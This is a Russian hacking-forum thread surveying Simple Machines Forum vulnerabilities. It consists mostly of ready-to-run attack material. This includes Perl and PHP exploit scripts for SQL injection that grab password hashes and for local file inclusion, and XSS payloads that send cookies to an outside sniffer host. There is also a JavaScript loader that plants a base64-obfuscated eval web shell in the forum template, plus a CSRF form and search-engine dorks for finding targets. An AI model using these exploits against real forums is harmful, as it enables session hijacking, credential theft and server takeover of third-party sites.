ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Обзор уязвимостей Simple Machines Forum]
  #1  
Старый 12.08.2007, 04:38
Аватар для FeraS
FeraS
Постоянный
Регистрация: 20.01.2007
Сообщений: 705
Провел на форуме:
5381835

Репутация: 1329


Отправить сообщение для FeraS с помощью ICQ
Post [Обзор уязвимостей Simple Machines Forum]

[SMF 1.0 Beta 5 Public]
XSS
Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге '[size]'.

Пример:
Код:
size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit[/size]
[SMF 1.0.4]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

Пример:
Код:
http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE]
Эксплоит:
PHP код:
#!/usr/bin/perl -w
################################################################################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
################################################################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################################################

use LWP::UserAgent;

if ( !
$ARGV[3] ) 
{
    print 
"Usage: smf.pl user pass target_uid modify_url\n";
    exit;
}

print 
"###################################################\n";
print 
"# Simple Machine Forums Modify Post SQL Injection #\n";
print 
"###################################################\n";

my $user $ARGV[0]; # your username
my $pass $ARGV[1]; # your password
my $grab $ARGV[2]; # the id of the target account
my $post $ARGV[3]; # the entire url to modify a post you made
my $dump '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' $grab '/*';
   
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");

my $ua = new LWP::UserAgent;
   
$ua->agent("SMF Hash Grabber v1.0" $ua->agent);

$ua->cookie_jar({});

print 
"[*] Trying $path ...\n";

my $req = new HTTP::Request POST => $path "/index.php?action=login2";
   
$req->content_type('application/x-www-form-urlencoded');
   
$req->content('user=' $user '&passwrd=' $pass '&cookielength=-1');
my $res $ua->request($req); 

print 
"[*] Logging In ...\n";

# When a correct login is made, a redirect is issued, and no 
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
    print 
"[+] Successfully logged in as $user \n";
    
my $sid $ua->get($path '/index.php?action=profile;sa=account');    

    
# We get our current session id to be used
    
print "[*] Trying To Get Valid Sesc ID \n";
    if ( 
$sid->content =~ /sesc=([a-f0-9]{32})/ )
    {
        
# Replace the old session parameter with the
        # new one so we do not get an access denied!
        
my $sesc = $1;
           
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

        print 
"[+] Valid Sesc Id : $sesc\n";
        print 
"[*] Trying to get password hash ...\n";

        
my $pwn $ua->get($post);    
        if ( 
$pwn->content =~ />([a-z0-9]{32})<\//i )
        
{
            print 
"[+] Got the password hash!\n";
            print 
"[+] Password Hash : $1\n";
        }
        else
        {
            print 
"[!] Exploit Failed! Try manually verifying the vulnerability \n";
        }
    }
    else
    {
        print 
'[!] Unable to obtain a valid sesc key!!';
        exit;
    }
}
else
{
    print 
'[!] There seemed to be a problem logging you in!';
    exit;

[SMF 1.0.5]
XSS
XSS уязвимость через BB коды.

Пример:
Код:
[size=0pt][sub][^color=#e1e1e1]g[img]http://re [flash=200,200]http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie;this.style.display='none' and end[/flash][/img][/color][/sub][/size]
[SMF 1.0.6]
XSS
Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members".

[SMF 1.1 RC2]
Lock Topics Remote Exploit:
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r
('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1.RC2 "lock"/Zend_Hash_Del_Key_Or_Index Vulnerability
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork, version specific: "Powered by SMF"
--------------------------------------------------------------------------------
'
);

if (
$argc<6) {
print_r('
--------------------------------------------------------------------------------
Usage: php ".$argv[0]." host path user pass topic OPTIONS
host:       target server (ip/hostname)
path:       path to SMF
user/pass:  u need a valid user account
lock:       topic u want to lock
Options:
   -p[port]:    specify a port other than 80
   -P[ip:port]: specify a proxy
Examples:
php ".$argv[0]." localhost /smf/ user pass 4
php ".$argv[0]." localhost /smf/ user pass 3 -p81
php ".$argv[0]." localhost / user pass 7 -P1.1.1.1:80
--------------------------------------------------------------------------------
'
);
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function 
quick_dump($string)
{
  
$result='';$exa='';$cont=0;
  for (
$i=0$i<=strlen($string)-1$i++)
  {
   if ((
ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {
$result.="  .";}
   else
   {
$result.="  ".$string[$i];}
   if (
strlen(dechex(ord($string[$i])))==2)
   {
$exa.=" ".dechex(ord($string[$i]));}
   else
   {
$exa.=" 0".dechex(ord($string[$i]));}
   
$cont++;if ($cont==15) {$cont=0$result.="\r\n"$exa.="\r\n";}
  }
 return 
$exa."\r\n".$result;
}
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function 
sendpacketii($packet)
{
  global 
$proxy$host$port$html$proxy_regex;
  if (
$proxy=='') {
    
$ock=fsockopen(gethostbyname($host),$port);
    if (!
$ock) {
      echo 
'No response from '.$host.':'.$port; die;
    }
  }
  else {
    
$c preg_match($proxy_regex,$proxy);
    if (!
$c) {
      echo 
'Not a valid proxy...';die;
    }
    
$parts=explode(':',$proxy);
    echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    
$ock=fsockopen($parts[0],$parts[1]);
    if (!
$ock) {
      echo 
'No response from proxy...';die;
    }
  }
  
fputs($ock,$packet);
  if (
$proxy=='') {
    
$html='';
    while (!
feof($ock)) {
      
$html.=fgets($ock);
    }
  }
  else {
    
$html='';
    while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      
$html.=fread($ock,1);
    }
  }
  
fclose($ock);
  
#debug
  #echo "\r\n".$html;
}
function 
my_encode($my_string)
{
  
$encoded="";
  for (
$k=0$k<=strlen($my_string)-1$k++)
  {
    
$encoded.="chr(".ord($my_string[$k]);
    if (
$k==strlen($my_string)-1) {$encoded.=")";}
    else {
$encoded.=").";}
  }
  return 
$encoded;
}

function 
make_seed()
{
   list(
$usec$sec) = explode(' 'microtime());
   return (float) 
$sec + ((float) $usec 100000);
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$topic=(int)$argv[5];
$port=80;
$proxy="";

for (
$i=3$i<=$argc-1$i++){
$temp=$argv[$i][0].$argv[$i][1];
if ((
$temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];}
if (
$temp=="-p")
{
  
$port=str_replace("-p","",$argv[$i]);
}
if (
$temp=="-P")
{
  
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="user=".urlencode($user);
$data.="&passwrd=".urlencode($pass);
$data.="&cookielength=-1";
$data.="&hash_passwrd=";
$data.="&submit=Login";
$packet ="POST ".$p."index.php?action=login2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for (
$i=1$i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo 
"cookie -> ".$cookie."\r\n";
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];
echo 
"sessid -> ".$sessid."\r\n";
$temp=explode(";member=",$html);
$temp2=explode("\n",$temp[1]);
$uid=(int)$temp2[0];
echo 
"user id -> ".$uid."\r\n";

$packet="GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode('name="sc" value="',$html);
$temp2=explode("\"",$temp[1]);
$sc=$temp2[0];
echo 
"sc code -> ".$sc."\r\n";
$temp=explode('"num_replies" value="',$html);
$temp2=explode("\"",$temp[1]);
$replies=$temp2[0];
echo 
"num replies -> ".$replies."\r\n";

$hash_1="173250926";
$hash_2="266332046";

$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="topic"

'
.$topic.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="subject"

I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="icon"

xx
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="message"

I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="notify"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="lock"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'
.$hash_1.'"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'
.$hash_2.'"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sticky"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="move"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="attachment[]"; filename=""
Content-Type: application/octet-stream


-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="post"

Post
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="num_replies"

'
.$replies.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="additional_options"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sc"

'
.$sc.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="seqnum"

0
-----------------------------7d61bcd1f033e--
'
;

$packet="POST ".$p."index.php?action=post2;start=3;board=".$board." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Referer: http://".$host.$path."index.php?action=post;topic=1.0;num_replies=0\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet"GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if  (
strstr($html,"This topic is locked")) {echo "Exploit succeeded...";}
else {echo 
"Exploit failed...";}
?>
(lngfile) Remote Exploit:
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r
('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1 rc2 "lngfile" Zend_Hash_Del_Key_Or_Index/arbitrary
local inclusion exploit (Win boxes)
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Powered by SMF"
--------------------------------------------------------------------------------
'
);
/*
works against Win boxes
regardless of php.ini settings
against PHP < 4.3.3, PHP 5 < 5.1.4
*/

if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '
.$argv[0].' host path mail include OPTIONS
host:      target server (ip/hostname)
path:      path to SMF
mail:      your email, required for activation
include:   path to file you want to include
Options:
   -p[port]:    specify a port other than 80
   -P[ip:port]: specify a proxy
Examples:
php '
.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini
php '
.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini -p81
php '
.$argv[0].' localhost / youremail@hotmail.com ../../../../../boot.ini -P1.1.1.1:80
--------------------------------------------------------------------------------
'
);
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function 
quick_dump($string)
{
  
$result='';$exa='';$cont=0;
  for (
$i=0$i<=strlen($string)-1$i++)
  {
   if ((
ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {
$result.="  .";}
   else
   {
$result.="  ".$string[$i];}
   if (
strlen(dechex(ord($string[$i])))==2)
   {
$exa.=" ".dechex(ord($string[$i]));}
   else
   {
$exa.=" 0".dechex(ord($string[$i]));}
   
$cont++;if ($cont==15) {$cont=0$result.="\r\n"$exa.="\r\n";}
  }
 return 
$exa."\r\n".$result;
}
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function 
sendpacketii($packet)
{
  global 
$proxy$host$port$html$proxy_regex;
  if (
$proxy=='') {
    
$ock=fsockopen(gethostbyname($host),$port);
    if (!
$ock) {
      echo 
'No response from '.$host.':'.$port; die;
    }
  }
  else {
    
$c preg_match($proxy_regex,$proxy);
    if (!
$c) {
      echo 
'Not a valid proxy...';die;
    }
    
$parts=explode(':',$proxy);
    echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    
$ock=fsockopen($parts[0],$parts[1]);
    if (!
$ock) {
      echo 
'No response from proxy...';die;
    }
  }
  
fputs($ock,$packet);
  if (
$proxy=='') {
    
$html='';
    while (!
feof($ock)) {
      
$html.=fgets($ock);
    }
  }
  else {
    
$html='';
    while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      
$html.=fread($ock,1);
    }
  }
  
fclose($ock);
  
#debug
  #echo "\r\n".$html;
}

function 
make_seed()
{
   list(
$usec$sec) = explode(' 'microtime());
   return (float) 
$sec + ((float) $usec 100000);
}

$host=$argv[1];
$path=$argv[2];
$email=$argv[3];
$include=$argv[4];
$port=80;
$proxy="";

for (
$i=3$i<$argc$i++){
$temp=$argv[$i][0].$argv[$i][1];
if (
$temp=="-p")
{
  
$port=str_replace("-p","",$argv[$i]);
}
if (
$temp=="-P")
{
  
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

srand(make_seed());
$anumber rand(1,9999999);
$user="sun-tzu".$anumber;
$pass="sun-tzu".$anumber;
$packet ="GET ".$p."index.php?action=register HTTP/1.0\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for (
$i=1$i<count($temp); $i++)
{
 
$temp2=explode(" ",$temp[$i]);
 
$cookie.=" ".$temp2[0];
}
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];

$data="user=".$user;
$data.="&email=".$email;
$data.="&hideEmail=1";
$data.="&passwrd1=".$pass;
$data.="&passwrd2=".$pass;
$data.="&regagree=on";
$data.="&lngfile=%2f".$include."%00";
$data.="&1412642694=1";
$data.="&850639942=1";
$data.="&regSubmit=Register";
$packet ="POST ".$p."index.php?action=register2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Referer: http://".$host.$path."index.php?PHPSESSID=$sessid\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: $cookie\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
print_r("
now login with user: "
.$user." pass: ".$pass." and you will see
"
.basename($include)." file at screen...
"
);
?>
[SMF 1.1 RC3]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

[SMF 1.1.2]
XSS
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему.

1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера.
2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку.
 
Ответить с цитированием

  #2  
Старый 12.08.2007, 04:38
Аватар для FeraS
FeraS
Постоянный
Регистрация: 20.01.2007
Сообщений: 705
Провел на форуме:
5381835

Репутация: 1329


Отправить сообщение для FeraS с помощью ICQ
По умолчанию

[SMF 1.1.2]
XSS
Отсутствует фильтрация atachment filename

Способы эксплуатации:

1. Получение cookie
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
Код:
attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47sniffsite.com&#47s.gif?'+document.cookie>.txt
(в адресе sniffer'a все / заменяем на &#47)
Получаем cookie

2. Получение web shell'a
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
Код:
name<img src=. width=1 height=1 onerror=javascript:var&#32s=document.createElement('script');s.src='http:  &#47&#47site.com&#47smfexp.js';document.documentElement.firstChild.  appendChild(s);>.txt
(все / в атрибуте src заменяем на &#47)
Это код простейшего динамического загрузчика скриптов
http:&#47&#47site.com&#47smfexp.js - адрес загружаемого скрипта
smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

smfexp.js:
PHP код:
/*
        SMF Active XSS Exploit by Cenarius
        Email: ooohoow@gmail.com | Icq: 100732

        Adds shell to index.php of default forum's template
*/

var shellCode = "<?php\n\n";
shellCode += "
// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1  BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n";  // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += "   exit;\n\n?>";

sendRequest("index.php"null"GET"getSesc);

function 
getSesc(request) {
    var 
sessVerify request.responseText.match(/sesc=([a-z0-9]{32})/);

    if(
sessVerify) {
        
sendRequest(
            
"index.php?action=theme;th=1;sa=edit",
            
"entire_file=" escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" sessVerify[1],
            
"POST"null);
    }
}

function 
sendRequest(urldatamethodonLoadFunc) {
    var 
request createHttpRequest();

    if(
request) {
        
request.open(methodurltrue);
        
        if(
method == "POST") {
            
request.setRequestHeader("Content-Type""application/x-www-form-urlencoded"); }

        if(
onLoadFunc) {
            
request.onreadystatechange = function() {
                if(
request.readyState == 4) {
                    
onLoadFunc(request); }
            }
        }
        
request.send(data);
    }


function 
createHttpRequest() {
    var 
httpRequest false;
    try {
        
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
    catch(
e) {
        try {
            
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
        catch(
e) {
            try {
                
httpRequest = new XMLHttpRequest(); }
            catch(
e) {
                
httpRequest false;
            }
        }
    }
    return 
httpRequest;
}

// EOF
По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
index.php будет содержать следующий код:
Код:
@eval($_POST['cd']);
Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
Код:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie;
 
Ответить с цитированием

  #3  
Старый 12.08.2007, 21:46
Аватар для SanyaX
SanyaX
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме:
7426415

Репутация: 1398


Отправить сообщение для SanyaX с помощью ICQ
По умолчанию

Simple Machines Forum 1.1.3 Remote Blind SQL Injection Exploit

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
# -Binary Search
# -Multi-Threaded
# -NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off.
#Total Bypass of SMF's SQL Injection filter.



Active-XSS in SMF <= 1.1.3



Faq по Smf (Заливка шелла)
__________________
-=Ok let's Go=-
-=OpenVPN=-

Последний раз редактировалось Elekt; 12.01.2008 в 22:39..
 
Ответить с цитированием

  #4  
Старый 12.01.2008, 22:57
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию


[ IP-Spoofing (c) antichat.ru ]

Поддержка X_FORWARDER_FOR позволяет обходить бан, использовать краденную через XSS сессию админа в обход привязки по айпи.

Оперативно изменять Ip в X_FORWARDER_FOR вам помогут Proxomitron 4.*(http://www.proxomitron.domtech.ru/index.htm) либо Odysseus 2.*(http://www.wastelands.gen.nz/odysseus/index.php)

[ DEBUG (c) antichat.ru ]

Раскрытие информации о сервере.

Достаточно указать в урл debug=1 :

http://smf.com/index.php?debug=1


Passive XSS in SMF 1.1.4

Site.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/
Site.com/component/option,com_smf/Itemid,5/topic,1.XSS/


phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities


SMF Forum Mambo Component <= 1.3.1.3 Include Vulnerability


eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities

Последний раз редактировалось Elekt; 03.09.2008 в 04:21..
 
Ответить с цитированием

SMF 1.1.4 - Add User In Group [CSRF]
  #5  
Старый 24.01.2008, 18:07
Аватар для _-Ramos-_
_-Ramos-_
Banned
Регистрация: 04.01.2007
Сообщений: 193
Провел на форуме:
4213286

Репутация: 728
Smile SMF 1.1.4 - Add User In Group [CSRF]

SMF 1.1.4 - Add User In Group [CSRF]
Код:
||                     ***************                                   || 
||                   Author: phAnt0mh4ck3r                               || 
||                  *************************                            || 
||                 SMF 1.1.4 - Add User In Group [CSRF]                  || 
|| r00tsecurity.org |b4lc4n-h4ck.org |cyber-underground.org |h4cky0u.org || 
||   ________________________________________________________________    || 
|_________________________________________________________________________|
Dork: "SMF 1.1.4"
Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"
Код:
</html> 
</head> 
<body>                               
<form action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post" 
<input type="text" name="toAdd" id="toAdd" size="30" />    
<input type="submit" name="add" value="Add Members" /> 
<input type="hidden" name="sc" value="ADMIN SESSION ID" /> 
</form> 
</body> 
</html>
Or you can use it:
Код:
forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid
 
Ответить с цитированием

passive XSS
  #6  
Старый 13.03.2008, 08:22
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию passive XSS


passive XSS in SMF mod Shoutbox

Simple Machines Forum "SMF Shoutbox" Mod 1.16b-1.14

Reference: http://custom.simplemachines.org/mods/index.php?mod=412

Bug:Persistent XSS

SMF Shoutbox is a popular shoutbox mod for Simple Machines Forum.The content of a post variable used to hold the user shout is stored in the database and then displayed to the visitors without being properly filtered.So we can insert HTML or Javascript code in the database which is then displayed in the shoutbox (which is usually at the index page of the forum).
Note:the content of this variable is also stored in an html file (sbox.history.html)residing in the main folder where SMF is installed so it is possible to insert and then execute php code under some server configurations.

Vulnerable versions: 1.16b down to 1.14

Search Engines query: "powered by smf 1.1" "SMF Shoutbox"

Vuln code

-In sboxDB.php

function missinghtmlentities() fails to sanitize
input passed to the shoutbox form


Exploit

All we have to do is pass to the shoutbox form a string starting with '&#' and ending with ';'
Most sites configuration doesnt enable guest visitors to post comments so you should create an account and login in order to exploit.SMF Shoutbox is usually in the index page of the forum so you could easily exploit this issue to collect Admins and user cookies,hijack sessions,etc



Pass this string to the shoutbox

&#<script>alert(String.fromCharCode(88,83,83))</script>;

If successful every visitor of the page should see an alert saying 'XSS'


Note:

We can inject php code but the output file (sbox.history.html)has an .html extension so in order for the code to execute the server must be configured to parse .html files for php code which is not the default configuration.
 
Ответить с цитированием

  #7  
Старый 06.04.2008, 16:18
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

5 Способов залить шелл. https://forum.antichat.ru/thread43633.html


Кстати способ с редактированием шаблонов по сути является и универсальной читалкой файлов из админки. Льем левую тему, можно даже без файлов. Ставим ей путь "/" и юзаем до посинения читалку прибавляя не index.template.php как в вышесказанной теме, а все что угодно (/etc/passwd, /home/admin/public_html/config.php к примеру)

Там стоит фильтр только на ../ в самой переменной, но он нам и не нужен.
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

SMForum audio Captcha Breaking
  #8  
Старый 23.04.2008, 00:32
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию SMForum audio Captcha Breaking

Deciphering the Simple Machines Forum audio Captcha
http://securityvulns.ru/Tdocument705.html


Вкратце и по сути.

Найден новый способ обхода капча кода в SMF.
Автор существенно усовершенствовал алгоритм Шанкара, и обошел пропатченную капчу.

Фишка в недостаточной рандомизации звука каждой буквы.
Из искомого файла выделяются отдельные буквы, затем сравниваются с эталоном.

Также автор поломал капчу в PHP-Nuke ( уязвимость в недостаточной длинне парольной строки и рандомной генерации хеша) используя радужную таблицу хешей на 1 миллион комбинаций.

От себя добавлю, что используя описанный алгоритм, открываются новые возможности по обходу капчи и во многих других продуктах и сервисах, заботящихся об ущербных пользователях использующих аудио-подтверждение как тест тьюринга.
 
Ответить с цитированием

SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
  #9  
Старый 16.06.2008, 22:31
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit


SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/

Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.

Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.

Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1

c0d3d by Elekt (www.antichat.ru), 13.12.2007

::FAQ::

Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.

Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
